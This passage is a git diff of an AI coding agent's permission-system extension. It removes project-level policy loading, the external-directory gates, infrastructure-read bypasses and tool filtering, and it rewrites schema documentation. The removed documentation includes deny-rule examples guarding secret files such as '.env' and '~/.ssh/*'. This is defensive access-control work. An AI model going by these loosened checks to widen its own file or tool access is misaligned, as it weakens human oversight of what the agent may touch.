allIssues.push( - `Legacy project policy found at '${legacyProjectPolicyPath}'. ` + - `Move it to '${newProjectPath}':\n` + - ` mv '${legacyProjectPolicyPath}' '${newProjectPath}'`, - ); - // See above: legacy-file validation issues are suppressed. - merged = mergeUnifiedConfigs(merged, legacy.config); - } - - // 5. New project config — skipped when the project scope is withheld, so an - // untrusted project contributes nothing and `project` reports empty. - const projectResult = includeProjectScope - ? loadUnifiedConfig(newProjectPath) - : { config: {}, issues: [] }; - allIssues.push(...projectResult.issues); - const projectConfig = projectResult.config; - merged = mergeUnifiedConfigs(merged, projectConfig); - const bashFallbackIssue = detectPermissiveBashFallback(merged.permission); if (bashFallbackIssue) allIssues.push(bashFallbackIssue); @@ -395,7 +335,6 @@ export function loadAndMergeConfigs( return { global: globalConfig, - project: projectConfig, merged, issues: allIssues, }; diff --git a/pi-permission-system/src/config-paths.ts b/pi-permission-system/src/config-paths.ts index 9fb9514..750ed6b 100644 --- a/pi-permission-system/src/config-paths.ts +++ b/pi-permission-system/src/config-paths.ts @@ -26,9 +26,6 @@ export function getGlobalLogsDir(agentDir: string): string { return join(getGlobalConfigDir(agentDir), "logs"); } -export function getProjectConfigPath(cwd: string): string { - return join(cwd, ".pi", "extensions", EXTENSION_ID, "policy.jsonc"); -} /** * Directory holding project-scoped custom agent definition files. @@ -47,9 +44,6 @@ export function getLegacyGlobalPolicyPath(agentDir: string): string { return join(agentDir, "pi-permissions.jsonc"); } -export function getLegacyProjectPolicyPath(cwd: string): string { - return join(cwd, ".pi", "agent", "pi-permissions.jsonc"); -} export function getLegacyExtensionConfigPath(extensionRoot: string): string { return join(extensionRoot, "config.json"); diff --git a/pi-permission-system/src/config-reporter.ts b/pi-permission-system/src/config-reporter.ts index 590ef1d..27536b0 100644 --- a/pi-permission-system/src/config-reporter.ts +++ b/pi-permission-system/src/config-reporter.ts @@ -3,21 +3,17 @@ import type { ResolvedPolicyPaths } from "./permission-manager"; export interface ResolvedConfigLogEntry { globalConfigPath: string; globalConfigExists: boolean; - projectConfigPath: string | null; - projectConfigExists: boolean; agentsDir: string; agentsDirExists: boolean; projectAgentsDir: string | null; projectAgentsDirExists: boolean; legacyGlobalPolicyDetected: boolean; - legacyProjectPolicyDetected: boolean; legacyExtensionConfigDetected: boolean; } export interface BuildResolvedConfigLogEntryOptions { policyPaths: ResolvedPolicyPaths; legacyGlobalPolicyDetected?: boolean; - legacyProjectPolicyDetected?: boolean; legacyExtensionConfigDetected?: boolean; } @@ -27,7 +23,6 @@ export function buildResolvedConfigLogEntry( return { ...options.policyPaths, legacyGlobalPolicyDetected: options.legacyGlobalPolicyDetected ?? false, - legacyProjectPolicyDetected: options.legacyProjectPolicyDetected ?? false, legacyExtensionConfigDetected: options.legacyExtensionConfigDetected ?? false, }; diff --git a/pi-permission-system/src/config-schema.ts b/pi-permission-system/src/config-schema.ts index bc2f3ec..707258b 100644 --- a/pi-permission-system/src/config-schema.ts +++ b/pi-permission-system/src/config-schema.ts @@ -72,9 +72,9 @@ const permissionMapSchema = z .meta({ id: "permissionMap", description: - "A map of wildcard patterns to permission states. Last matching pattern wins.", + "A map of wildcard patterns to permission states. The most specific matching pattern wins.", markdownDescription: - "A map of wildcard patterns to permission states.\n\nUse `*` for wildcard matching. When multiple patterns match, the **last matching rule wins** — put broad catch-alls first and specific overrides after them.\n\nPattern keys support home directory expansion:\n- `~/path` or `$HOME/path` — expanded to the OS home directory at match time.\n- `~` or `$HOME` alone — expands to the home directory itself.\n\nThe stored pattern is always shown in logs and approval dialogs as written (e.g. `~/dev/*`).", + "A map of wildcard patterns to permission states.\n\nUse `*` for wildcard matching. When several patterns match, the most specific pattern wins: exact patterns first, then more literal characters, fewer wildcards, and longer patterns. Declaration order is only the final tie-breaker, where the later rule wins.\n\nPattern keys support home directory expansion: `~/path` and `$HOME/path` expand at match time. The stored pattern is shown in logs and approval dialogs as written.", }); const permissionSchema = z @@ -88,7 +88,7 @@ const permissionSchema = z description: "Flat permission policy. Each key is a surface name; values are a PermissionState string (catch-all) or a pattern→action map.", markdownDescription: - 'Flat permission policy.\n\nEach top-level key is a surface name:\n- `"*"` — universal fallback (replaces `defaultPolicy.tools` from the legacy format)\n- Tool names (`read`, `write`, `bash`, `mcp`, `skill`, `external_directory`, `path`, etc.)\n\nA **string** value is shorthand for `{ "*": action }` (surface-level catch-all).\nAn **object** value maps wildcard patterns to actions — last matching pattern wins.\n\nFor built-in file tools (`read`, `write`, `edit`, `find`, `grep`, `ls`), patterns are matched against the file path from `input.path`. For example, `"read": { "*": "allow", "*.env": "deny" }` allows reads but denies `.env` files.\n\nWhen Pi\'s current working directory is known, relative path inputs also match their cwd-normalized absolute form, so `src/App.jsx` can match both `src/*` and `/workspace/project/*`. Bash path tokens use the effective directory after literal `cd` commands for this matching; non-literal `cd "$DIR"` style commands remain conservative.\n\nThe `path` surface is a cross-cutting gate that applies to **all** file access: Pi tools, bash commands, MCP calls (via `input.arguments.path`), and extension tools (via `input.path` or a registered access extractor). A `path` deny cannot be overridden by a per-tool allow. Use it to protect sensitive files (`.env`, `~/.ssh/*`) from all path-aware tools at once.\n\nThe `external_directory` surface gates access **outside** the working directory. Give it a pattern map to allow specific outside-CWD directories without opening all external access — e.g. `"external_directory": { "*": "ask", "~/.cargo/registry/*": "allow" }` to silence repeated prompts on a local cache. The trailing `*` is greedy and crosses subdirectory boundaries; a bare `~/.cargo/registry` matches only the directory entry itself. Because layers compose with most-restrictive-wins, a `path` allow cannot loosen an `external_directory: ask` boundary — allow outside-CWD directories here, not on `path`.\n\n**Merge order (lowest → highest precedence):** global → project → per-agent frontmatter.', + 'Flat permission policy.\n\nEach top-level key is a surface name:\n- `"*"` — universal fallback\n- Tool names (`read`, `write`, `bash`, `mcp`, `skill`, `path`, etc.)\n\nA string value is shorthand for `{ "*": action }`. An object maps wildcard patterns to actions, and the most specific matching pattern wins.\n\nFor built-in file tools, patterns match `input.path`. The cross-cutting `path` surface checks path-bearing tools and bash path tokens.\n\n**Merge order (lowest → highest precedence):** global → per-agent frontmatter → project-agent frontmatter.', examples: [ { "*": "ask", @@ -109,7 +109,6 @@ const permissionSchema = z }, mcp: { "*": "ask", mcp_status: "allow", "exa:*": "allow" }, skill: { "*": "ask", librarian: "allow" }, - external_directory: { "*": "ask", "~/.cargo/registry/*": "allow" }, }, ], }); @@ -240,18 +239,11 @@ export const unifiedConfigSchema = z markdownDescription: "**Deprecated and ignored.** Superseded by `promptMaxRows` and `promptFieldMaxWidth`, which bound the whole permission prompt rather than one summary inside it.\n\nStill accepted so an existing config is not rejected fail-closed, but the value no longer takes effect. Remove it.", }), - piInfrastructureReadPaths: z.array(z.string().min(1)).optional().meta({ - description: - "Additional directories to auto-allow for reads as Pi infrastructure, bypassing the external_directory gate. Supports ~ expansion and wildcard patterns (* and ?).", - markdownDescription: - "Additional directories to auto-allow for reads as Pi infrastructure, bypassing the `external_directory` gate.\n\nThe extension auto-discovers the global node_modules root (walks up from the extension's install path; falls back to `npm root -g` from a dev checkout), Pi's own install directory (via the coding-agent `getPackageDir()` API), `agentDir`, `agentDir/git`, and project-local `.pi/npm/` and `.pi/git/`. Add entries here for edge cases where auto-discovery is insufficient (e.g. custom `npmCommand` pointing to pnpm).\n\nSupports `~`/`$HOME` expansion. Entries may be plain directory prefixes or wildcard patterns using `*` (matches any characters, including `/`) and `?` (matches exactly one character). `**` and `*` are equivalent — both cross directory boundaries.\n\nOn Windows, matching is case-insensitive and tolerant of either path separator.", - default: [], - }), authorizerChain: z.array(z.string().min(1)).optional().meta({ description: "Ordered names of registered live-authority chain links to consult before the terminal authorizer. Config order (not registration order) fixes the chain order; an unregistered name is skipped fail-safe (more prompting, never less); a link decides nothing until it is named here.", markdownDescription: - "Ordered names of registered **live-authority chain links** (e.g. a model judge) to consult before the terminal authorizer (the human, or the subagent-forwarding / headless-deny fallback).\n\nA link reviews an `ask` and returns `allow` / `deny` (with an optional teaching reason) / `defer` to the next link. Three invariants govern the chain:\n\n- **Config order wins.** The order here \u2014 not the order extensions register in \u2014 fixes the security-relevant chain order.\n- **Fail-safe skip.** A name with no registered link is skipped with a warning; the `ask` still reaches the terminal (more prompting, never less).\n- **Opt-in activation.** Installing a judge extension grants it no authority; a link decides nothing until you name it here.\n\nThe chain owner caps every verdict with a bounded-delegation checkpoint: a link's `allow` on an excluded surface (`external_directory` or `path`) is downgraded to `defer`, so a link cannot exceed your policy.\n\nDefaults to an empty list (no links).", + "Ordered names of registered **live-authority chain links** (for example AutoReview) to consult before the terminal human authorizer. A named link may approve or deny any ordinary-policy `ask`, including `path`; `defer` advances to the next link or the human terminal. Defaults to an empty list.", default: [], }), permission: permissionSchema.optional(), @@ -270,7 +262,7 @@ export const unifiedConfigSchema = z description: "Ordinary JSONC policy combining runtime knobs, AutoReview settings, and flat permission rules for pi-permission-system.", markdownDescription: - "Ordinary JSONC policy for [pi-permission-system](https://github.com/gotgenes/pi-packages/tree/main/packages/pi-permission-system).\n\nPlace at `~/.pi/agent/extensions/pi-permission-system/policy.jsonc` (global) or `/.pi/extensions/pi-permission-system/policy.jsonc` (project). Global-only hard guards use the separate `hard-guards.jsonc` schema.", + "Global ordinary JSONC policy for [pi-permission-system](https://github.com/gotgenes/pi-packages/tree/main/packages/pi-permission-system).\n\nPlace at `~/.pi/agent/extensions/pi-permission-system/policy.jsonc`. Project-level policy files are not loaded. Global-only hard guards use the separate `hard-guards.jsonc` schema.", }); /** A permission decision. */ diff --git a/pi-permission-system/src/config-store.ts b/pi-permission-system/src/config-store.ts index bf779c8..af8610a 100644 --- a/pi-permission-system/src/config-store.ts +++ b/pi-permission-system/src/config-store.ts @@ -16,7 +16,6 @@ import { getGlobalConfigPath, getLegacyExtensionConfigPath, getLegacyGlobalPolicyPath, - getLegacyProjectPolicyPath, } from "./config-paths"; import { buildResolvedConfigLogEntry } from "./config-reporter"; import { @@ -95,10 +94,8 @@ export class ConfigStore implements SessionConfigStore, CommandConfigStore { /** * Reload merged config from disk. * - * If `ctx` is provided, uses it to derive the cwd and sync UI status. - * When `projectTrusted` is `false`, the project scope is withheld so an - * untrusted repository's runtime config (`yoloMode`, `permissionReviewLog`, - * …) cannot loosen the operator's global config (#644). + * Runtime configuration is global-only. `projectTrusted` is retained here + * for lifecycle logging and active-agent trust decisions owned elsewhere. */ refresh(ctx: ExtensionContext | undefined, projectTrusted: boolean): void { const cwd = ctx?.cwd ?? null; @@ -106,7 +103,6 @@ export class ConfigStore implements SessionConfigStore, CommandConfigStore { this.deps.agentDir, cwd ?? "", EXTENSION_ROOT, - { includeProjectScope: projectTrusted }, ); const runtimeConfig = normalizePermissionSystemConfig(mergeResult.merged); this.config = runtimeConfig; @@ -194,15 +190,12 @@ export class ConfigStore implements SessionConfigStore, CommandConfigStore { * * Equivalent to `logResolvedConfigPaths(runtime)`. */ - logResolvedPaths(cwd?: string): void { + logResolvedPaths(_cwd?: string): void { const policyPaths = this.deps.policyPaths.getResolvedPolicyPaths(); const { agentDir } = this.deps; const legacyGlobalPolicyDetected = existsSync( getLegacyGlobalPolicyPath(agentDir), ); - const legacyProjectPolicyDetected = cwd - ? existsSync(getLegacyProjectPolicyPath(cwd)) - : false; const legacyExtConfigPath = getLegacyExtensionConfigPath(EXTENSION_ROOT); const newGlobalPath = getGlobalConfigPath(agentDir); const legacyExtensionConfigDetected = @@ -211,7 +204,6 @@ export class ConfigStore implements SessionConfigStore, CommandConfigStore { const entry = buildResolvedConfigLogEntry({ policyPaths, legacyGlobalPolicyDetected, - legacyProjectPolicyDetected, legacyExtensionConfigDetected, }); this.deps.logger.review( diff --git a/pi-permission-system/src/extension-config.ts b/pi-permission-system/src/extension-config.ts index e3f7074..e29b83f 100644 --- a/pi-permission-system/src/extension-config.ts +++ b/pi-permission-system/src/extension-config.ts @@ -24,8 +24,6 @@ export interface PermissionSystemExtensionConfig { yoloMode: boolean; /** Require a confirming second press of a decision hotkey in the inline TUI dialog. Defaults to true. */ doublePressToConfirm: boolean; - /** Additional directories to auto-allow for reads as Pi infrastructure. */ - piInfrastructureReadPaths?: string[]; /** How long a subagent waits for the parent's answer to a forwarded ask, in ms. Defaults to 600000. */ forwardingTimeoutMs?: number; /** Max rows a permission prompt renders before eliding its evidence. Defaults to 24. */ @@ -64,7 +62,6 @@ const PERMISSION_POLICY_KEYS: ReadonlySet = new Set([ "mcp", "skills", "special", - "external_directory", ]); export function detectMisplacedPermissionKeys( @@ -88,9 +85,6 @@ export function normalizePermissionSystemConfig( if (raw.analysis !== undefined) { result.analysis = normalizeAutoReviewAnalysisConfig(raw.analysis); } - if (raw.piInfrastructureReadPaths !== undefined) { - result.piInfrastructureReadPaths = raw.piInfrastructureReadPaths; - } if (raw.forwardingTimeoutMs !== undefined) { result.forwardingTimeoutMs = raw.forwardingTimeoutMs; } diff --git a/pi-permission-system/src/extension-paths.ts b/pi-permission-system/src/extension-paths.ts index 8316b22..3f7fbf4 100644 --- a/pi-permission-system/src/extension-paths.ts +++ b/pi-permission-system/src/extension-paths.ts @@ -1,66 +1,26 @@ import { join } from "node:path"; import { getGlobalLogsDir } from "./config-paths"; -import { discoverGlobalNodeModulesRoot } from "./node-modules-discovery"; -/** - * Immutable path constants derived from `agentDir` at construction time. - * - * Computed once at startup in `computeExtensionPaths()` and embedded into - * `ExtensionRuntime`. Later refactorings (#129 PermissionSession, #130 - * handler classes) consume this as a single dep instead of individual fields. - */ +/** Immutable path constants derived from `agentDir` at construction time. */ export interface ExtensionPaths { readonly agentDir: string; readonly sessionsDir: string; readonly subagentSessionsDir: string; readonly forwardingDir: string; readonly globalLogsDir: string; - /** - * Static Pi infrastructure directories used for external-directory - * read auto-allow. Computed once from `agentDir`, - * `discoverGlobalNodeModulesRoot()`, and (when provided) Pi's own - * install directory (`getPackageDir()`). Config-based extras - * (`piInfrastructureReadPaths`) are read from `runtime.config` at - * call time in the handler so they pick up config reloads. - */ - readonly piInfrastructureDirs: readonly string[]; } -/** - * Compute all immutable path constants from `agentDir`. - * - * Calls `discoverGlobalNodeModulesRoot()` internally so the result is - * self-contained. Call this once at extension startup, not at module scope. - * - * `piPackageDir` is Pi's own install directory (from the coding-agent - * `getPackageDir()` API, resolved at the composition root). When provided it is - * auto-allowed for read-only tools so the agent can read Pi's bundled docs and - * examples regardless of install layout. It is strictly narrower than the - * discovered global `node_modules` root already included here. - */ -export function computeExtensionPaths( - agentDir: string, - piPackageDir?: string, -): ExtensionPaths { +export function computeExtensionPaths(agentDir: string): ExtensionPaths { const sessionsDir = join(agentDir, "sessions"); - const subagentSessionsDir = join(agentDir, "subagent-sessions"); + const subagentSessionsDir = join(sessionsDir, "subagents"); const forwardingDir = join(sessionsDir, "permission-forwarding"); const globalLogsDir = getGlobalLogsDir(agentDir); - const globalNodeModulesRoot = discoverGlobalNodeModulesRoot(); - const piInfrastructureDirs: string[] = [ - agentDir, - join(agentDir, "git"), - ...(globalNodeModulesRoot ? [globalNodeModulesRoot] : []), - ...(piPackageDir ? [piPackageDir] : []), - ]; - return { agentDir, sessionsDir, subagentSessionsDir, forwardingDir, globalLogsDir, - piInfrastructureDirs, }; } diff --git a/pi-permission-system/src/handlers/before-agent-start.ts b/pi-permission-system/src/handlers/before-agent-start.ts index cf04911..105251e 100644 --- a/pi-permission-system/src/handlers/before-agent-start.ts +++ b/pi-permission-system/src/handlers/before-agent-start.ts @@ -5,9 +5,6 @@ import type { import type { PermissionResolver } from "#src/permission-resolver"; import type { PermissionSession } from "#src/permission-session"; import { resolveSkillPromptEntries } from "#src/skill-prompt-sanitizer"; -import { sanitizeAvailableToolsSection } from "#src/system-prompt-sanitizer"; -import { getToolNameFromValue, type ToolRegistry } from "#src/tool-registry"; -import type { PermissionState } from "#src/types"; /** Minimal subset of BeforeAgentStartEvent used by this handler. */ interface BeforeAgentStartPayload { @@ -15,40 +12,14 @@ interface BeforeAgentStartPayload { } /** - * Pure helper: returns true when the tool should be exposed to the agent. - * Checks the tool-level permission (not command-level) so that a blanket - * `bash: deny` hides the tool entirely before any invocation is attempted. - */ -export function shouldExposeTool( - toolName: string, - agentName: string | null, - getToolPermission: (toolName: string, agentName?: string) => PermissionState, -): boolean { - const toolPermission = getToolPermission(toolName, agentName ?? undefined); - return toolPermission !== "deny"; -} - -/** - * Handles the `before_agent_start` event: tool filtering + prompt sanitization. - * - * Recomputes the active tool set and the returned system-prompt override on - * every fire (no memoization): the override must be returned each turn so that - * skill filtering is reapplied and the wire prompt stays byte-stable, rather - * than letting Pi reset to its skill-unfiltered base prompt on a cache hit. - * - * Constructor deps: - * - `session` — encapsulates all mutable session state and lifecycle operations - * - `resolver` — owns permission-query surface: `getToolPermission`, skill check - * - `toolRegistry` — Pi tool API subset (getActive + setActive) - * - `warmParser` — warms the tree-sitter parser so the synchronous advisory - * bash path can decompose at gate parity; `before_agent_start` precedes any - * tool call, so triggering it here closes the pre-warm window (#309) + * Prepares permission state before an agent turn without changing Pi's active + * tool set. Tool Search is the bundle's sole active-tool controller; this + * handler only refreshes permission state and sanitizes denied skill entries. */ export class AgentPrepHandler { constructor( private readonly session: PermissionSession, private readonly resolver: PermissionResolver, - private readonly toolRegistry: ToolRegistry, private readonly warmParser: () => void, ) {} @@ -62,38 +33,11 @@ export class AgentPrepHandler { // to whole-string matching. this.warmParser(); this.session.activate(ctx); - // Gate the mid-session runtime-config refresh on project trust too, so an - // untrusted project cannot slip its runtime config (e.g. `yoloMode`) in - // right before agent start after session_start withheld it (#644). The - // session_start handler already warned; do not re-warn on every start. this.session.refreshConfig(ctx, ctx.isProjectTrusted()); const agentName = this.session.resolveAgentName(ctx, event.systemPrompt); - const activeTools = this.toolRegistry.getActive(); - const allowedTools: string[] = []; - - for (const tool of activeTools) { - const toolName = getToolNameFromValue(tool); - if (!toolName) { - continue; - } - if ( - shouldExposeTool(toolName, agentName, (t, a) => - this.resolver.getToolPermission(t, a), - ) - ) { - allowedTools.push(toolName); - } - } - - this.toolRegistry.setActive(allowedTools); - - const toolPromptResult = sanitizeAvailableToolsSection( - event.systemPrompt, - allowedTools, - ); const skillPromptResult = resolveSkillPromptEntries( - toolPromptResult.prompt, + event.systemPrompt, this.resolver, agentName, this.session.getPathNormalizer(), diff --git a/pi-permission-system/src/handlers/gates/bash-external-directory.ts b/pi-permission-system/src/handlers/gates/bash-external-directory.ts deleted file mode 100644 index 5067f21..0000000 --- a/pi-permission-system/src/handlers/gates/bash-external-directory.ts +++ /dev/null @@ -1,126 +0,0 @@ -import type { BashProgram } from "#src/access-intent/bash/program"; -import type { ScopedPermissionResolver } from "#src/permission-resolver"; -import { buildBashExternalDirectoryAskPayload } from "#src/presentation/path-ask-payload"; -import { SessionApproval } from "#src/session-approval"; -import { deriveApprovalPattern } from "#src/session-rules"; -import type { GateResult } from "./descriptor"; -import { selectUncoveredExternalPaths } from "./external-directory-policy"; -import { accessFactsFromPath } from "./helpers"; -import type { ToolCallContext } from "./types"; - -/** - * Build a pure descriptor for the bash external-directory permission gate. - * - * Reads the external paths from the injected `BashProgram` and checks whether - * any reference directories outside the working directory. Returns `null` when the gate - * does not apply (not a shell invocation, no command, or no external paths found). - * Returns a `GateBypass` when all paths are allowed (by config or session rule). - * Returns a `GateDescriptor` with multi-pattern sessionApproval for uncovered paths. - * - * The shell command (native `bash` or an aliased shell tool) is read from the - * injected `BashProgram`, which owns the source text it was parsed from, so - * this gate does not re-derive the input field name (#574). - */ -export function describeBashExternalDirectoryGate( - tcc: ToolCallContext, - bashProgram: BashProgram | null, - resolver: ScopedPermissionResolver, -): GateResult { - if (!bashProgram) return null; - const command = bashProgram.commandText(); - - const externalPaths = bashProgram.externalPaths(); - if (externalPaths.length === 0) return null; - - // Resolve every external path on the external_directory surface and keep the - // ones not already allowed (config-level allows suppress the prompt just as - // session-level allows do); the shared helper single-sources the #418 alias - // matching and the worst-uncovered selection. - const { uncovered: uncoveredEntries, worstCheck } = - selectUncoveredExternalPaths( - externalPaths, - resolver, - tcc.agentName ?? undefined, - ); - const uncoveredPaths = uncoveredEntries.map(({ path }) => path.value()); - - if (uncoveredPaths.length === 0) { - return { - action: "allow", - // A whole-command bypass covers every external path at once, and each - // may have matched a different session pattern -- so the surface is one - // value and the pattern is not. The entry's `externalPaths` lists what - // was covered. - decidedBy: { - kind: "session_approval", - surface: "external_directory", - pattern: null, - }, - log: { - event: "permission_request.session_approved", - details: { - source: "tool_call", - toolCallId: tcc.toolCallId, - toolName: tcc.toolName, - agentName: tcc.agentName, - command, - externalPaths: externalPaths.map((p) => p.value()), - resolution: "session_approved", - }, - }, - }; - } - - // After the early bypass, at least one path is uncovered, so worstCheck is - // defined; the fallback keeps TypeScript happy across the early return. A - // config-level "deny" is preserved (not downgraded to the catch-all "ask"). - const preCheck = worstCheck ?? uncoveredEntries[0].check; - // The AccessPath the decision was made against — its facts ride the wire. - const worstEntry = - uncoveredEntries.find(({ check }) => check === preCheck) ?? - uncoveredEntries[0]; - - const disclosures = uncoveredEntries.map(({ path }) => ({ - path: path.value(), - resolvedPath: path.resolvedAlias(), - })); - - const payload = buildBashExternalDirectoryAskPayload({ - command, - externalPaths: disclosures, - cwd: tcc.cwd, - agentName: tcc.agentName, - toolName: tcc.toolName, - matchedPattern: preCheck.matchedPattern, - }); - - const patterns = uncoveredPaths.map((p) => deriveApprovalPattern(p)); - - return { - surface: "external_directory", - input: {}, - payload, - sessionApproval: SessionApproval.multiple("external_directory", patterns), - promptDetails: { - source: "tool_call", - agentName: tcc.agentName, - toolCallId: tcc.toolCallId, - toolName: tcc.toolName, - command, - accessIntent: accessFactsFromPath("external_directory", worstEntry.path), - }, - logContext: { - source: "tool_call", - toolCallId: tcc.toolCallId, - toolName: tcc.toolName, - agentName: tcc.agentName, - command, - externalPaths: uncoveredPaths, - }, - decision: { - surface: "external_directory", - value: command, - }, - preCheck, - }; -} diff --git a/pi-permission-system/src/handlers/gates/bash-path-extractor.ts b/pi-permission-system/src/handlers/gates/bash-path-extractor.ts deleted file mode 100644 index 5d0e721..0000000 --- a/pi-permission-system/src/handlers/gates/bash-path-extractor.ts +++ /dev/null @@ -1,23 +0,0 @@ -import { BashProgram } from "#src/access-intent/bash/program"; -import type { PathNormalizer } from "#src/path-normalizer"; - -/** - * Extract paths from a bash command that resolve outside CWD. - * - * Thin facade over {@link BashProgram.externalPaths}; parses the command - * through the injected {@link PathNormalizer} (platform + cwd baked in) and - * returns the cd-aware external paths in their lexical (as-typed) string form. - * See `BashProgram` for the parsing and resolution semantics. - * - * Returns `string[]` (not `AccessPath[]`) so the large projection-correctness - * test suite in `bash-external-directory.test.ts` can assert path values - * without migrating to the `AccessPath` accessors. - */ -export async function extractExternalPathsFromBashCommand( - command: string, - normalizer: PathNormalizer, -): Promise { - return (await BashProgram.parse(command, normalizer)) - .externalPaths() - .map((p) => p.value()); -} diff --git a/pi-permission-system/src/handlers/gates/descriptor.ts b/pi-permission-system/src/handlers/gates/descriptor.ts index cf8008b..c147aa3 100644 --- a/pi-permission-system/src/handlers/gates/descriptor.ts +++ b/pi-permission-system/src/handlers/gates/descriptor.ts @@ -15,7 +15,7 @@ import type { PermissionCheckResult, PermissionState } from "#src/types"; * about logging, event emission, or session-rule recording. */ export interface GateDescriptor { - /** Permission surface to check (e.g. "bash", "external_directory", "skill"). */ + /** Permission surface to check (e.g. "bash", "path", "skill"). */ surface: string; /** Input passed to checkPermission. */ input: unknown; diff --git a/pi-permission-system/src/handlers/gates/external-directory-policy.ts b/pi-permission-system/src/handlers/gates/external-directory-policy.ts deleted file mode 100644 index 8980efd..0000000 --- a/pi-permission-system/src/handlers/gates/external-directory-policy.ts +++ /dev/null @@ -1,66 +0,0 @@ -import type { AccessPath } from "#src/access-intent/access-path"; -import type { ScopedPermissionResolver } from "#src/permission-resolver"; -import type { PermissionCheckResult } from "#src/types"; -import { pickMostRestrictive } from "./candidate-check"; - -/** An external path whose resolved `external_directory` state is not "allow". */ -export interface UncoveredExternalPath { - path: AccessPath; - check: PermissionCheckResult; -} - -/** The uncovered external paths plus the most restrictive check among them. */ -export interface UncoveredExternalPaths { - uncovered: UncoveredExternalPath[]; - /** Worst check among uncovered paths; `undefined` only when none are uncovered. */ - worstCheck: PermissionCheckResult | undefined; -} - -/** - * Resolve one external path's policy on the `external_directory` surface. - * - * Emits an `access-path` {@link AccessIntent}; the resolver unwraps it via - * {@link AccessPath.matchValues} so a config pattern on either the typed or - * symlink-resolved alias applies (#418). This is the single source for the - * external-directory resolve that the two external-directory gates previously - * duplicated. - */ -export function resolveExternalDirectoryPolicy( - path: AccessPath, - resolver: ScopedPermissionResolver, - agentName: string | undefined, -): PermissionCheckResult { - return resolver.resolve({ - kind: "access-path", - surface: "external_directory", - path, - agentName, - }); -} - -/** - * Resolve a set of external paths and select those not already allowed. - * - * Each path is resolved via {@link resolveExternalDirectoryPolicy}; entries - * whose state is not "allow" are collected (filtering on state, not source, so - * config-level allow rules suppress the prompt just as session-level allow - * rules do), and the most restrictive uncovered check is returned so a config - * "deny" is not downgraded to the catch-all "ask". - */ -export function selectUncoveredExternalPaths( - paths: readonly AccessPath[], - resolver: ScopedPermissionResolver, - agentName: string | undefined, -): UncoveredExternalPaths { - const uncovered: UncoveredExternalPath[] = []; - for (const path of paths) { - const check = resolveExternalDirectoryPolicy(path, resolver, agentName); - if (check.state !== "allow") { - uncovered.push({ path, check }); - } - } - return { - uncovered, - worstCheck: pickMostRestrictive(uncovered.map(({ check }) => check)), - }; -} diff --git a/pi-permission-system/src/handlers/gates/external-directory.ts b/pi-permission-system/src/handlers/gates/external-directory.ts deleted file mode 100644 index 06360ee..0000000 --- a/pi-permission-system/src/handlers/gates/external-directory.ts +++ /dev/null @@ -1,118 +0,0 @@ -import { getToolInputPath } from "#src/access-intent/tool-input-path"; -import type { PathNormalizer } from "#src/path-normalizer"; -import type { ScopedPermissionResolver } from "#src/permission-resolver"; -import { buildExternalDirectoryAskPayload } from "#src/presentation/path-ask-payload"; -import { SessionApproval } from "#src/session-approval"; -import { deriveApprovalPattern } from "#src/session-rules"; -import type { ToolAccessExtractorLookup } from "#src/tool-access-extractor-registry"; -import type { GateResult } from "./descriptor"; -import { resolveExternalDirectoryPolicy } from "./external-directory-policy"; -import { accessFactsFromPath } from "./helpers"; -import type { ToolCallContext } from "./types"; - -/** - * Build a pure descriptor for the external-directory permission gate. - * - * Returns `null` when the gate does not apply (no CWD, tool is not - * path-bearing, or path is inside the working directory). - * Returns a `GateBypass` for Pi infrastructure reads. - * Returns a `GateDescriptor` for external paths needing a permission check. - */ -export function describeExternalDirectoryGate( - tcc: ToolCallContext, - infraDirs: string[], - resolver: ScopedPermissionResolver, - normalizer: PathNormalizer, - extractors?: ToolAccessExtractorLookup, -): GateResult { - const externalDirectoryPath = getToolInputPath( - tcc.toolName, - tcc.input, - extractors, - ); - if (!externalDirectoryPath) return null; - - if (!normalizer.isOutsideWorkingDirectory(externalDirectoryPath)) { - return null; - } - - // The boundary decision (above) and the infrastructure-read containment - // check (below) use the canonical, symlink-resolved path; pattern matching - // uses the typed and resolved aliases (#418). - const accessPath = normalizer.forPath(externalDirectoryPath); - - // ── Pi infrastructure read bypass ────────────────────────────────────── - if (normalizer.isInfrastructureRead(tcc.toolName, accessPath, infraDirs)) { - return { - action: "allow", - // Containment allowed this, not a rule the operator wrote. - decidedBy: { kind: "infrastructure_read" }, - log: { - event: "permission_request.infrastructure_auto_allowed", - details: { - source: "tool_call", - toolCallId: tcc.toolCallId, - toolName: tcc.toolName, - agentName: tcc.agentName, - path: externalDirectoryPath, - }, - }, - decision: { - surface: tcc.toolName, - value: externalDirectoryPath, - result: "allow", - resolution: "infrastructure_auto_allowed", - origin: null, - agentName: tcc.agentName ?? null, - matchedPattern: null, - }, - }; - } - - // ── Build descriptor for permission check ─────────────────────────────── - const resolvedAlias = accessPath.resolvedAlias(); - - // The runner consumes this preCheck and skips its own resolve. - const preCheck = resolveExternalDirectoryPolicy( - accessPath, - resolver, - tcc.agentName ?? undefined, - ); - const pattern = deriveApprovalPattern(accessPath.value()); - - const payload = buildExternalDirectoryAskPayload({ - toolName: tcc.toolName, - pathValue: externalDirectoryPath, - resolvedPath: resolvedAlias, - cwd: tcc.cwd, - agentName: tcc.agentName, - matchedPattern: preCheck.matchedPattern, - }); - - return { - surface: "external_directory", - input: {}, - preCheck, - payload, - sessionApproval: SessionApproval.single("external_directory", pattern), - promptDetails: { - source: "tool_call", - agentName: tcc.agentName, - toolCallId: tcc.toolCallId, - toolName: tcc.toolName, - path: externalDirectoryPath, - accessIntent: accessFactsFromPath("external_directory", accessPath), - }, - logContext: { - source: "tool_call", - toolCallId: tcc.toolCallId, - toolName: tcc.toolName, - agentName: tcc.agentName, - path: externalDirectoryPath, - }, - decision: { - surface: "external_directory", - value: externalDirectoryPath, - }, - }; -} diff --git a/pi-permission-system/src/handlers/gates/path.ts b/pi-permission-system/src/handlers/gates/path.ts index 93c69bf..7005e0f 100644 --- a/pi-permission-system/src/handlers/gates/path.ts +++ b/pi-permission-system/src/handlers/gates/path.ts @@ -26,9 +26,8 @@ export function describePathGate( const filePath = getToolInputPath(tcc.toolName, tcc.input, extractors); if (!filePath) return null; - // Emit an access-path intent so the resolver matches the lexical aliases - // *and* the canonical (symlink-resolved) form, the same set - // `external_directory` matches (#418, #486). + // Emit an access-path intent so path policy matches both lexical aliases and + // the canonical (symlink-resolved) form. const accessPath = normalizer.forPath(filePath); const check = resolver.resolve({ kind: "access-path", diff --git a/pi-permission-system/src/handlers/gates/tool-call-gate-pipeline.ts b/pi-permission-system/src/handlers/gates/tool-call-gate-pipeline.ts index d0193ca..cc48566 100644 --- a/pi-permission-system/src/handlers/gates/tool-call-gate-pipeline.ts +++ 